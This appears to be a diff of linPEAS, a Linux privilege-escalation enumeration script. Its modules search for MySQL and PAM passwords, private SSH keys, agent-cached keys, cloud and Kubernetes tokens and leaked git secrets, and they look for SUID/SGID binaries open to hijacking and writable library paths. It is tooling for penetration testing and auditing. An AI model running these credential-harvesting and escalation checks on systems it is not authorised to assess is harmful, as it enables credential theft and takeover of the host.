grep -oaE "[-_\.\*a-Z0-9]{3,}" $f | grep -v "mysql_native_password" grep -oaE "[-_\.\*a-Z0-9]{3,}" "$f" | grep -v "mysql_native_password"
fi fi
done done
for f in $(grep -lr "user\s*=" $d 2>/dev/null | grep -v "debian.cnf"); do for f in $(grep -lr "user\s*=" $d 2>/dev/null | grep -v "debian.cnf"); do
if [ -r "$f" ]; then if [ -r "$f" ]; then
u=$(cat "$f" | grep -v "#" | grep "user" | grep "=" 2>/dev/null) u=$(cat "$f" | grep -v "#" | grep "user" | grep "=" 2>/dev/null)
echo "From '$f' Mysql user: $u" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed "s,root,${SED_RED}," echo "From '$f' Mysql user: $u" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed "s,root,${SED_RED},"
fi fi
done done
for f in $(find $d -name my.cnf 2>/dev/null); do for f in $(find $d -name my.cnf 2>/dev/null); do
if [ -r "$f" ]; then if [ -r "$f" ]; then
echo "Found readable $f" echo "Found readable $f"
grep -v "^#" "$f" | grep -Ev "\W+\#|^#" 2>/dev/null | grep -Iv "^$" | sed "s,password.*,${SED_RED}," grep -v "^#" "$f" | grep -Ev "\W+\#|^#" 2>/dev/null | grep -Iv "^$" | sed "s,password.*,${SED_RED},"
fi fi
done done
fi
mysqlexec=$(whereis lib_mysqludf_sys.so 2>/dev/null | grep "lib_mysqludf_sys\.so") mysqlexec=$(whereis lib_mysqludf_sys.so 2>/dev/null | grep "lib_mysqludf_sys\.so")
if [ "$mysqlexec" ]; then if [ "$mysqlexec" ]; then
echo "Found $mysqlexec" echo "Found $mysqlexec"
@@ -124,7 +151,7 @@ if [ "$TIMEOUT" ] && [ "$(command -v psql)" ] || [ "$DEBUG" ]; then # In some O
fi fi
print_list "PostgreSQL connection to template1 using postgres/NOPASS ........ " print_list "PostgreSQL connection to template1 using postgres/NOPASS ........ "
if [ "$(timeout 1 psql -U postgres -d template1 -c 'select version()' 2>/dev/null)" ]; then echo "Yes" | sed "s,.)*,${SED_RED}," if [ "$(timeout 1 psql -U postgres -d template1 -c 'select version()' 2>/dev/null)" ]; then echo "Yes" | sed "s,.*,${SED_RED},"
else echo_no else echo_no
fi fi
@@ -142,7 +169,7 @@ fi
peass{Mongo} peass{Mongo}
peass{Apache} peass{Apache-Nginx}
peass{Tomcat} peass{Tomcat}
@@ -189,23 +216,35 @@ fi
#-- SI) ssh files #-- SI) ssh files
print_2title "Searching ssl/ssh files" print_2title "Searching ssl/ssh files"
if [ "$PSTORAGE_CERTSB4" ]; then certsb4_grep=$(grep -L "\"\|'\|(" $PSTORAGE_CERTSB4 2>/dev/null); fi if [ "$PSTORAGE_CERTSB4" ]; then certsb4_grep=$(grep -L "\"\|'\|(" $PSTORAGE_CERTSB4 2>/dev/null); fi
sshconfig="$(ls /etc/ssh/ssh_config 2>/dev/null)" if ! [ "$SEARCH_IN_FOLDER" ]; then
hostsdenied="$(ls /etc/hosts.denied 2>/dev/null)" sshconfig="$(ls /etc/ssh/ssh_config 2>/dev/null)"
hostsallow="$(ls /etc/hosts.allow 2>/dev/null)" hostsdenied="$(ls /etc/hosts.denied 2>/dev/null)"
writable_agents=$(find $folder_path -type s -name "agent.*" -or -name "*gpg-agent*" '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')') hostsallow="$(ls /etc/hosts.allow 2>/dev/null)"
writable_agents=$(find /tmp /etc /home -type s -name "agent.*" -or -name "*gpg-agent*" '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' 2>/dev/null)
else
sshconfig="$(ls ${ROOT_FOLDER}etc/ssh/ssh_config 2>/dev/null)"
hostsdenied="$(ls ${ROOT_FOLDER}etc/hosts.denied 2>/dev/null)"
hostsallow="$(ls ${ROOT_FOLDER}etc/hosts.allow 2>/dev/null)"
writable_agents=$(find ${ROOT_FOLDER} -type s -name "agent.*" -or -name "*gpg-agent*" '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' 2>/dev/null)
fi
peass{SSH} peass{SSH}
grep "PermitRootLogin \|ChallengeResponseAuthentication \|PasswordAuthentication \|UsePAM \|Port\|PermitEmptyPasswords\|PubkeyAuthentication\|ListenAddress\|ForwardAgent\|AllowAgentForwarding\|AuthorizedKeysFiles" /etc/ssh/sshd_config 2>/dev/null | grep -v "#" | sed -${E} "s,PermitRootLogin.*es|PermitEmptyPasswords.*es|ChallengeResponseAuthentication.*es|FordwardAgent.*es,${SED_RED}," grep "PermitRootLogin \|ChallengeResponseAuthentication \|PasswordAuthentication \|UsePAM \|Port\|PermitEmptyPasswords\|PubkeyAuthentication\|ListenAddress\|ForwardAgent\|AllowAgentForwarding\|AuthorizedKeysFiles" /etc/ssh/sshd_config 2>/dev/null | grep -v "#" | sed -${E} "s,PermitRootLogin.*es|PermitEmptyPasswords.*es|ChallengeResponseAuthentication.*es|FordwardAgent.*es,${SED_RED},"
if [ "$TIMEOUT" ]; then if ! [ "$SEARCH_IN_FOLDER" ]; then
if [ "$TIMEOUT" ]; then
privatekeyfilesetc=$(timeout 40 grep -rl '\-\-\-\-\-BEGIN .* PRIVATE KEY.*\-\-\-\-\-' /etc 2>/dev/null) privatekeyfilesetc=$(timeout 40 grep -rl '\-\-\-\-\-BEGIN .* PRIVATE KEY.*\-\-\-\-\-' /etc 2>/dev/null)
privatekeyfileshome=$(timeout 40 grep -rl '\-\-\-\-\-BEGIN .* PRIVATE KEY.*\-\-\-\-\-' $HOMESEARCH 2>/dev/null) privatekeyfileshome=$(timeout 40 grep -rl '\-\-\-\-\-BEGIN .* PRIVATE KEY.*\-\-\-\-\-' $HOMESEARCH 2>/dev/null)
privatekeyfilesroot=$(timeout 40 grep -rl '\-\-\-\-\-BEGIN .* PRIVATE KEY.*\-\-\-\-\-' /root 2>/dev/null) privatekeyfilesroot=$(timeout 40 grep -rl '\-\-\-\-\-BEGIN .* PRIVATE KEY.*\-\-\-\-\-' /root 2>/dev/null)
privatekeyfilesmnt=$(timeout 40 grep -rl '\-\-\-\-\-BEGIN .* PRIVATE KEY.*\-\-\-\-\-' /mnt 2>/dev/null) privatekeyfilesmnt=$(timeout 40 grep -rl '\-\-\-\-\-BEGIN .* PRIVATE KEY.*\-\-\-\-\-' /mnt 2>/dev/null)
else else
privatekeyfilesetc=$(grep -rl '\-\-\-\-\-BEGIN .* PRIVATE KEY.*\-\-\-\-\-' /etc 2>/dev/null) #If there is tons of files linpeas gets frozen here without a timeout privatekeyfilesetc=$(grep -rl '\-\-\-\-\-BEGIN .* PRIVATE KEY.*\-\-\-\-\-' /etc 2>/dev/null) #If there is tons of files linpeas gets frozen here without a timeout
privatekeyfileshome=$(grep -rl '\-\-\-\-\-BEGIN .* PRIVATE KEY.*\-\-\-\-\-' $HOME/.ssh 2>/dev/null) privatekeyfileshome=$(grep -rl '\-\-\-\-\-BEGIN .* PRIVATE KEY.*\-\-\-\-\-' $HOME/.ssh 2>/dev/null)
fi
else
# If $SEARCH_IN_FOLDER lets just search for private keys in the whole firmware
privatekeyfilesetc=$(timeout 120 grep -rl '\-\-\-\-\-BEGIN .* PRIVATE KEY.*\-\-\-\-\-' "$ROOT_FOLDER" 2>/dev/null)
fi fi
if [ "$privatekeyfilesetc" ] || [ "$privatekeyfileshome" ] || [ "$privatekeyfilesroot" ] || [ "$privatekeyfilesmnt" ] ; then if [ "$privatekeyfilesetc" ] || [ "$privatekeyfileshome" ] || [ "$privatekeyfilesroot" ] || [ "$privatekeyfilesmnt" ] ; then
@@ -238,7 +277,7 @@ if ssh-add -l 2>/dev/null | grep -qv 'no identities'; then
ssh-add -l ssh-add -l
echo "" echo ""
fi fi
if gpg-connect-agent "keyinfo --list" /bye | grep "D - - 1"; then if gpg-connect-agent "keyinfo --list" /bye 2>/dev/null | grep "D - - 1"; then
print_3title "Listing gpg keys cached in gpg-agent" print_3title "Listing gpg keys cached in gpg-agent"
gpg-connect-agent "keyinfo --list" /bye gpg-connect-agent "keyinfo --list" /bye
echo "" echo ""
@@ -255,29 +294,29 @@ fi
if [ "$hostsdenied" ]; then if [ "$hostsdenied" ]; then
print_3title "/etc/hosts.denied file found, read the rules:" print_3title "/etc/hosts.denied file found, read the rules:"
printf "$hostsdenied\n" printf "$hostsdenied\n"
cat "/etc/hosts.denied" 2>/dev/null | grep -v "#" | grep -Iv "^$" | sed -${E} "s,.*,${SED_GREEN}," cat " ${ROOT_FOLDER}etc/hosts.denied" 2>/dev/null | grep -v "#" | grep -Iv "^$" | sed -${E} "s,.*,${SED_GREEN},"
echo "" echo ""
fi fi
if [ "$hostsallow" ]; then if [ "$hostsallow" ]; then
print_3title "/etc/hosts.allow file found, trying to read the rules:" print_3title "/etc/hosts.allow file found, trying to read the rules:"
printf "$hostsallow\n" printf "$hostsallow\n"
cat "/etc/hosts.allow" 2>/dev/null | grep -v "#" | grep -Iv "^$" | sed -${E} "s,.*,${SED_RED}," cat " ${ROOT_FOLDER}etc/hosts.allow" 2>/dev/null | grep -v "#" | grep -Iv "^$" | sed -${E} "s,.*,${SED_RED},"
echo "" echo ""
fi fi
if [ "$sshconfig" ]; then if [ "$sshconfig" ]; then
echo "" echo ""
echo "Searching inside /etc/ssh/ssh_config for interesting info" echo "Searching inside /etc/ssh/ssh_config for interesting info"
grep -v "^#" /etc/ssh/ssh_config 2>/dev/null | grep -Ev "\W+\#|^#" 2>/dev/null | grep -Iv "^$" | sed -${E} "s,Host|ForwardAgent|User|ProxyCommand,${SED_RED}," grep -v "^#" ${ROOT_FOLDER}etc/ssh/ssh_config 2>/dev/null | grep -Ev "\W+\#|^#" 2>/dev/null | grep -Iv "^$" | sed -${E} "s,Host|ForwardAgent|User|ProxyCommand,${SED_RED},"
fi fi
echo "" echo ""
peass{PAM Auth} peass{PAM Auth}
#-- SI) Passwords inside pam.d #-- SI) Passwords inside pam.d
pamdpass=$(grep -Ri "passwd" /etc/pam.d/ 2>/dev/null | grep -v ":#") pamdpass=$(grep -Ri "passwd" ${ROOT_FOLDER}etc/pam.d/ 2>/dev/null | grep -v ":#")
if [ "$pamdpass" ] || [ "$DEBUG" ]; then if [ "$pamdpass" ] || [ "$DEBUG" ]; then
print_2title "Passwords inside pam.d" print_2title "Passwords inside pam.d"
grep -Ri "passwd" /etc/pam.d/ 2>/dev/null | grep -v ":#" | sed "s,passwd,${SED_RED}," grep -Ri "passwd" ${ROOT_FOLDER}etc/pam.d/ 2>/dev/null | grep -v ":#" | sed "s,passwd,${SED_RED},"
echo "" echo ""
fi fi
@@ -288,7 +327,7 @@ kadmin_exists="$(command -v kadmin)"
klist_exists="$(command -v klist)" klist_exists="$(command -v klist)"
if [ "$kadmin_exists" ] || [ "$klist_exists" ] || [ "$PSTORAGE_KERBEROS" ] || [ "$DEBUG" ]; then if [ "$kadmin_exists" ] || [ "$klist_exists" ] || [ "$PSTORAGE_KERBEROS" ] || [ "$DEBUG" ]; then
print_2title "Searching kerberos conf files and tickets" print_2title "Searching kerberos conf files and tickets"
print_info "http://book.hacktricks.xyz/linux-unix/privilege-escalation/linux-active-directory" print_info "http://book.hacktricks.xyz/linux-hardening/privilege-escalation/linux-active-directory"
if [ "$kadmin_exists" ]; then echo "kadmin was found on $kadmin_exists" | sed "s,$kadmin_exists,${SED_RED},"; fi if [ "$kadmin_exists" ]; then echo "kadmin was found on $kadmin_exists" | sed "s,$kadmin_exists,${SED_RED},"; fi
if [ "$klist_exists" ] && [ -x "$klist_exists" ]; then echo "klist execution"; klist; fi if [ "$klist_exists" ] && [ -x "$klist_exists" ]; then echo "klist execution"; klist; fi
@@ -378,9 +417,9 @@ if [ "$adhashes" ] || [ "$DEBUG" ]; then
fi fi
#-- SI) Screen sessions #-- SI) Screen sessions
if [ "$screensess" ] || [ "$screensess2" ] || [ "$DEBUG" ]; then if ([ "$screensess" ] || [ "$screensess2" ] || [ "$DEBUG" ]) && ! [ "$SEARCH_IN_FOLDER" ]; then
print_2title "Searching screen sessions" print_2title "Searching screen sessions"
print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#open-shell-sessions" print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#open-shell-sessions"
screensess=$(screen -ls 2>/dev/null) screensess=$(screen -ls 2>/dev/null)
screensess2=$(find /run/screen -type d -path "/run/screen/S-*" 2>/dev/null) screensess2=$(find /run/screen -type d -path "/run/screen/S-*" 2>/dev/null)
@@ -397,9 +436,9 @@ fi
tmuxdefsess=$(tmux ls 2>/dev/null) tmuxdefsess=$(tmux ls 2>/dev/null)
tmuxnondefsess=$(ps auxwww | grep "tmux " | grep -v grep) tmuxnondefsess=$(ps auxwww | grep "tmux " | grep -v grep)
tmuxsess2=$(find /tmp -type d -path "/tmp/tmux-*" 2>/dev/null) tmuxsess2=$(find /tmp -type d -path "/tmp/tmux-*" 2>/dev/null)
if [ "$tmuxdefsess" ] || [ "$tmuxnondefsess" ] || [ "$tmuxsess2" ] || [ "$DEBUG" ]; then if ([ "$tmuxdefsess" ] || [ "$tmuxnondefsess" ] || [ "$tmuxsess2" ] || [ "$DEBUG" ]) && ! [ "$SEARCH_IN_FOLDER" ]; then
print_2title "Searching tmux sessions"$N print_2title "Searching tmux sessions"$N
print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#open-shell-sessions" print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#open-shell-sessions"
tmux -V tmux -V
printf "$tmuxdefsess\n$tmuxnondefsess\n$tmuxsess2" | sed -${E} "s,.*,${SED_RED}," | sed -${E} "s,no server running on.*,${C}[32m&${C}[0m," printf "$tmuxdefsess\n$tmuxnondefsess\n$tmuxsess2" | sed -${E} "s,.*,${SED_RED}," | sed -${E} "s,no server running on.*,${C}[32m&${C}[0m,"
@@ -435,6 +474,12 @@ peass{Mosquitto}
peass{Neo4j} peass{Neo4j}
AWSVAULT="$(command -v aws-vault 2>/dev/null)"
if [ "$AWSVAULT" ] || [ "$DEBUG" ]; then
print_2title "Check aws-vault"
aws-vault list
fi
peass{Cloud Credentials} peass{Cloud Credentials}
peass{Cloud Init} peass{Cloud Init}
@@ -523,50 +568,46 @@ peass{Cache Vi}
peass{Wget} peass{Wget}
##-- SI) containerd installed ##-- SI) containerd installed
containerd=$(command -v ctr) if ! [ "$SEARCH_IN_FOLDER" ]; then
if [ "$containerd" ] || [ "$DEBUG" ]; then containerd=$(command -v ctr)
if [ "$containerd" ] || [ "$DEBUG" ]; then
print_2title "Checking if containerd(ctr) is available" print_2title "Checking if containerd(ctr) is available"
print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation/containerd-ctr-privilege-escalation" print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation/containerd-ctr-privilege-escalation"
if [ "$containerd" ]; then if [ "$containerd" ]; then
echo "ctr was found in $containerd, you may be able to escalate privileges with it" | sed -${E} "s,.*,${SED_RED}," echo "ctr was found in $containerd, you may be able to escalate privileges with it" | sed -${E} "s,.*,${SED_RED},"
ctr image list ctr image list 2>&1
fi fi
echo "" echo ""
fi
fi fi
##-- SI) runc installed ##-- SI) runc installed
runc=$(command -v runc) if ! [ "$SEARCH_IN_FOLDER" ]; then
if [ "$runc" ] || [ "$DEBUG" ]; then runc=$(command -v runc)
if [ "$runc" ] || [ "$DEBUG" ]; then
print_2title "Checking if runc is available" print_2title "Checking if runc is available"
print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation/runc-privilege-escalation" print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation/runc-privilege-escalation"
if [ "$runc" ]; then if [ "$runc" ]; then
echo "runc was found in $runc, you may be able to escalate privileges with it" | sed -${E} "s,.*,${SED_RED}," echo "runc was found in $runc, you may be able to escalate privileges with it" | sed -${E} "s,.*,${SED_RED},"
fi fi
echo "" echo ""
fi
fi fi
#-- SI) Docker #-- SI) Docker
if [ "$PSTORAGE_DOCKER" ] || [ "$DEBUG" ]; then if [ "$PSTORAGE_DOCKER" ] || [ "$DEBUG" ]; then
print_2title "Searching docker files (limit 70)" print_2title "Searching docker files (limit 70)"
print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#writable-docker-socket" print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation"
printf "%s\n" "$PSTORAGE_DOCKER" | head -n 70 | while read f; do printf "%s\n" "$PSTORAGE_DOCKER" | head -n 70 | while read f; do
ls -l "$f" 2>/dev/null ls -l "$f" 2>/dev/null
if ! [ "$IAMROOT" ] && [ -S "$f" ] && [ -w "$f" ]; then if ! [ "$IAMROOT" ] && [ -S "$f" ] && [ -w "$f" ]; then
echo "Docker socket file ($f) is writable" | sed -${E} "s,.*,${SED_RED_YELLOW}," echo "Docker related socket ($f) is writable" | sed -${E} "s,.*,${SED_RED_YELLOW},"
fi fi
done done
echo "" echo ""
fi fi
if [ -d "$HOME/.kube" ] || [ -d "/etc/kubernetes" ] || [ -d "/var/lib/localkube" ] || [ "`(env | set) | grep -Ei 'kubernetes|kube' | grep -v "PSTORAGE_KUBELET|USEFUL_SOFTWARE"`" ] || [ "$DEBUG" ]; then peass{Kubernetes}
print_2title "Kubernetes information" | sed -${E} "s,config,${SED_RED},"
ls -l "$HOME/.kube" 2>/dev/null
grep -ERH "client-secret:|id-token:|refresh-token:" "$HOME/.kube" 2>/dev/null | sed -${E} "s,client-secret:.*|id-token:.*|refresh-token:.*,${SED_RED},"
(env || set) | grep -Ei "kubernetes|kube" | grep -v "PSTORAGE_KUBELET|USEFUL_SOFTWARE" | sed -${E} "s,kubernetes|kube,${SED_RED},"
ls -Rl /etc/kubernetes /var/lib/localkube 2>/dev/null
fi
peass{Kubelet}
peass{Firefox} peass{Firefox}
@@ -622,6 +663,20 @@ peass{EXTRA_SECTIONS}
peass{Interesting logs} peass{Interesting logs}
peass{Windows Files} peass{Windows}
peass{Other Interesting Files} peass{Other Interesting}
if ! [ "$FAST" ] && ! [ "$SUPERFAST" ] && [ "$TIMEOUT" ]; then
print_2title "Checking leaks in git repositories"
printf "%s\n" "$PSTORAGE_GITHUB" | while read f; do
if echo "$f" | grep -Eq ".git$"; then
git_dirname=$(dirname "$f")
if [ "$MACPEAS" ]; then
execBin "GitLeaks (checking $git_dirname)" "https://github.com/zricethezav/gitleaks" "$FAT_LINPEAS_GITLEAKS_MACOS" "detect -s '$git_dirname' -v | grep -E 'Description|Match|Secret|Message|Date'"
else
execBin "GitLeaks (checking $git_dirname)" "https://github.com/zricethezav/gitleaks" "$FAT_LINPEAS_GITLEAKS_LINUX" "detect -s '$git_dirname' -v | grep -E 'Description|Match|Secret|Message|Date'"
fi
fi
done
fi

View File

@@ -0,0 +1,723 @@
###########################################
#----------) Interesting files (----------#
###########################################
check_critial_root_path(){
folder_path="$1"
if [ -w "$folder_path" ]; then echo "You have write privileges over $folder_path" | sed -${E} "s,.*,${SED_RED_YELLOW},"; fi
if [ "$(find $folder_path -type f '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' 2>/dev/null)" ]; then echo "You have write privileges over $(find $folder_path -type f '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')')" | sed -${E} "s,.*,${SED_RED_YELLOW},"; fi
if [ "$(find $folder_path -type f -not -user root 2>/dev/null)" ]; then echo "The following files aren't owned by root: $(find $folder_path -type f -not -user root 2>/dev/null)"; fi
}
##-- IF) SUID
print_2title "SUID - Check easy privesc, exploits and write perms"
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-and-suid"
if ! [ "$STRINGS" ]; then
echo_not_found "strings"
fi
if ! [ "$STRACE" ]; then
echo_not_found "strace"
fi
suids_files=$(find $ROOT_FOLDER -perm -4000 -type f ! -path "/dev/*" 2>/dev/null)
for s in $suids_files; do
s=$(ls -lahtr "$s")
#If starts like "total 332K" then no SUID bin was found and xargs just executed "ls" in the current folder
if echo "$s" | grep -qE "^total"; then break; fi
sname="$(echo $s | awk '{print $9}')"
if [ "$sname" = "." ] || [ "$sname" = ".." ]; then
true #Don't do nothing
elif ! [ "$IAMROOT" ] && [ -O "$sname" ]; then
echo "You own the SUID file: $sname" | sed -${E} "s,.*,${SED_RED},"
elif ! [ "$IAMROOT" ] && [ -w "$sname" ]; then #If write permision, win found (no check exploits)
echo "You can write SUID file: $sname" | sed -${E} "s,.*,${SED_RED_YELLOW},"
else
c="a"
for b in $sidB; do
if echo $s | grep -q $(echo $b | cut -d % -f 1); then
echo "$s" | sed -${E} "s,$(echo $b | cut -d % -f 1),${C}[1;31m& ---> $(echo $b | cut -d % -f 2)${C}[0m,"
c=""
break;
fi
done;
if [ "$c" ]; then
if echo "$s" | grep -qE "$sidG1" || echo "$s" | grep -qE "$sidG2" || echo "$s" | grep -qE "$sidG3" || echo "$s" | grep -qE "$sidG4" || echo "$s" | grep -qE "$sidVB" || echo "$s" | grep -qE "$sidVB2"; then
echo "$s" | sed -${E} "s,$sidG1,${SED_GREEN}," | sed -${E} "s,$sidG2,${SED_GREEN}," | sed -${E} "s,$sidG3,${SED_GREEN}," | sed -${E} "s,$sidG4,${SED_GREEN}," | sed -${E} "s,$sidVB,${SED_RED_YELLOW}," | sed -${E} "s,$sidVB2,${SED_RED_YELLOW},"
else
echo "$s (Unknown SUID binary!)" | sed -${E} "s,/.*,${SED_RED},"
printf $ITALIC
if ! [ "$FAST" ] && [ "$STRINGS" ]; then
$STRINGS "$sname" 2>/dev/null | sort | uniq | while read sline; do
sline_first="$(echo "$sline" | cut -d ' ' -f1)"
if echo "$sline_first" | grep -qEv "$cfuncs"; then
if echo "$sline_first" | grep -q "/" && [ -f "$sline_first" ]; then #If a path
if [ -O "$sline_first" ] || [ -w "$sline_first" ]; then #And modifiable
printf "$ITALIC --- It looks like $RED$sname$NC$ITALIC is using $RED$sline_first$NC$ITALIC and you can modify it (strings line: $sline) (https://tinyurl.com/suidpath)\n"
fi
else #If not a path
if [ ${#sline_first} -gt 2 ] && command -v "$sline_first" 2>/dev/null | grep -q '/' && echo "$sline_first" | grep -Eqv "\.\."; then #Check if existing binary
printf "$ITALIC --- It looks like $RED$sname$NC$ITALIC is executing $RED$sline_first$NC$ITALIC and you can impersonate it (strings line: $sline) (https://tinyurl.com/suidpath)\n"
fi
fi
fi
done
if ! [ "$FAST" ] && [ "$TIMEOUT" ] && [ "$STRACE" ] && ! [ "$NOTEXPORT" ] && [ -x "$sname" ]; then
printf $ITALIC
echo "----------------------------------------------------------------------------------------"
echo " --- Trying to execute $sname with strace in order to look for hijackable libraries..."
OLD_LD_LIBRARY_PATH=$LD_LIBRARY_PATH
export LD_LIBRARY_PATH=""
timeout 2 "$STRACE" "$sname" 2>&1 | grep -i -E "open|access|no such file" | sed -${E} "s,open|access|No such file,${SED_RED}$ITALIC,g"
printf $NC
export LD_LIBRARY_PATH=$OLD_LD_LIBRARY_PATH
echo "----------------------------------------------------------------------------------------"
echo ""
fi
fi
fi
fi
fi
done;
echo ""
##-- IF) SGID
print_2title "SGID"
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-and-suid"
sgids_files=$(find $ROOT_FOLDER -perm -2000 -type f ! -path "/dev/*" 2>/dev/null)
for s in $sgids_files; do
s=$(ls -lahtr "$s")
#If starts like "total 332K" then no SUID bin was found and xargs just executed "ls" in the current folder
if echo "$s" | grep -qE "^total";then break; fi
sname="$(echo $s | awk '{print $9}')"
if [ "$sname" = "." ] || [ "$sname" = ".." ]; then
true #Don't do nothing
elif ! [ "$IAMROOT" ] && [ -O "$sname" ]; then
echo "You own the SGID file: $sname" | sed -${E} "s,.*,${SED_RED},"
elif ! [ "$IAMROOT" ] && [ -w "$sname" ]; then #If write permision, win found (no check exploits)
echo "You can write SGID file: $sname" | sed -${E} "s,.*,${SED_RED_YELLOW},"
else
c="a"
for b in $sidB; do
if echo "$s" | grep -q $(echo $b | cut -d % -f 1); then
echo "$s" | sed -${E} "s,$(echo $b | cut -d % -f 1),${C}[1;31m& ---> $(echo $b | cut -d % -f 2)${C}[0m,"
c=""
break;
fi
done;
if [ "$c" ]; then
if echo "$s" | grep -qE "$sidG1" || echo "$s" | grep -qE "$sidG2" || echo "$s" | grep -qE "$sidG3" || echo "$s" | grep -qE "$sidG4" || echo "$s" | grep -qE "$sidVB" || echo "$s" | grep -qE "$sidVB2"; then
echo "$s" | sed -${E} "s,$sidG1,${SED_GREEN}," | sed -${E} "s,$sidG2,${SED_GREEN}," | sed -${E} "s,$sidG3,${SED_GREEN}," | sed -${E} "s,$sidG4,${SED_GREEN}," | sed -${E} "s,$sidVB,${SED_RED_YELLOW}," | sed -${E} "s,$sidVB2,${SED_RED_YELLOW},"
else
echo "$s (Unknown SGID binary)" | sed -${E} "s,/.*,${SED_RED},"
printf $ITALIC
if ! [ "$FAST" ] && [ "$STRINGS" ]; then
$STRINGS "$sname" | sort | uniq | while read sline; do
sline_first="$(echo $sline | cut -d ' ' -f1)"
if echo "$sline_first" | grep -qEv "$cfuncs"; then
if echo "$sline_first" | grep -q "/" && [ -f "$sline_first" ]; then #If a path
if [ -O "$sline_first" ] || [ -w "$sline_first" ]; then #And modifiable
printf "$ITALIC --- It looks like $RED$sname$NC$ITALIC is using $RED$sline_first$NC$ITALIC and you can modify it (strings line: $sline)\n"
fi
else #If not a path
if [ ${#sline_first} -gt 2 ] && command -v "$sline_first" 2>/dev/null | grep -q '/'; then #Check if existing binary
printf "$ITALIC --- It looks like $RED$sname$NC$ITALIC is executing $RED$sline_first$NC$ITALIC and you can impersonate it (strings line: $sline)\n"
fi
fi
fi
done
if ! [ "$FAST" ] && [ "$TIMEOUT" ] && [ "$STRACE" ] && [ ! "$SUPERFAST" ]; then
printf "$ITALIC"
echo " --- Trying to execute $sname with strace in order to look for hijackable libraries..."
timeout 2 "$STRACE" "$sname" 2>&1 | grep -i -E "open|access|no such file" | sed -${E} "s,open|access|No such file,${SED_RED}$ITALIC,g"
printf "$NC"
echo ""
fi
fi
fi
fi
fi
done;
echo ""
##-- IF) Misconfigured ld.so
if ! [ "$SEARCH_IN_FOLDER" ] && ! [ "$IAMROOT" ]; then
print_2title "Checking misconfigurations of ld.so"
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#ld-so"
printf $ITALIC"/etc/ld.so.conf\n"$NC;
cat /etc/ld.so.conf 2>/dev/null | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g"
cat /etc/ld.so.conf 2>/dev/null | while read l; do
if echo "$l" | grep -q include; then
ini_path=$(echo "$l" | cut -d " " -f 2)
fpath=$(dirname "$ini_path")
if [ "$(find $fpath -type f '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' 2>/dev/null)" ]; then echo "You have write privileges over $(find $fpath -type f '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' 2>/dev/null)" | sed -${E} "s,.*,${SED_RED_YELLOW},"; fi
printf $ITALIC"$fpath\n"$NC | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g"
for f in $fpath/*; do
printf $ITALIC" $f\n"$NC | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g"
cat "$f" | grep -v "^#" | sed -${E} "s,$ldsoconfdG,${SED_GREEN}," | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g"
done
fi
done
echo ""
fi
##-- IF) Capabilities
if ! [ "$SEARCH_IN_FOLDER" ]; then
print_2title "Capabilities"
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#capabilities"
if [ "$(command -v capsh)" ]; then
echo "Current env capabilities:"
(capsh --print 2>/dev/null | grep "Current:" | sed -${E} "s,$capsB,${SED_RED_YELLOW}," ) || echo_not_found "capsh"
echo "Current proc capabilities:"
(cat "/proc/$$/status" | grep Cap | sed -${E} "s,.*0000000000000000|CapBnd: 0000003fffffffff,${SED_GREEN},") 2>/dev/null || echo_not_found "/proc/$$/status"
echo ""
echo "Parent Shell capabilities:"
(capsh --decode=0x"$(cat /proc/$PPID/status 2>/dev/null | grep CapEff | awk '{print $2}')" 2>/dev/null) || echo_not_found "capsh"
else
echo "Current capabilities:"
cat /proc/self/status | grep Cap | sed -${E} "s, .*,${SED_RED},g" | sed -${E} "s,0000000000000000|0000003fffffffff,${SED_GREEN},g"
echo ""
echo "Shell capabilities:"
cat /proc/$PPID/status | grep Cap | sed -${E} "s, .*,${SED_RED},g" | sed -${E} "s,0000000000000000|0000003fffffffff,${SED_GREEN},g"
fi
echo ""
echo "Files with capabilities (limited to 50):"
getcap -r / 2>/dev/null | head -n 50 | while read cb; do
capsVB_vuln=""
for capVB in $capsVB; do
capname="$(echo $capVB | cut -d ':' -f 1)"
capbins="$(echo $capVB | cut -d ':' -f 2)"
if [ "$(echo $cb | grep -Ei $capname)" ] && [ "$(echo $cb | grep -E $capbins)" ]; then
echo "$cb" | sed -${E} "s,.*,${SED_RED_YELLOW},"
capsVB_vuln="1"
break
fi
done
if ! [ "$capsVB_vuln" ]; then
echo "$cb" | sed -${E} "s,$capsB,${SED_RED},"
fi
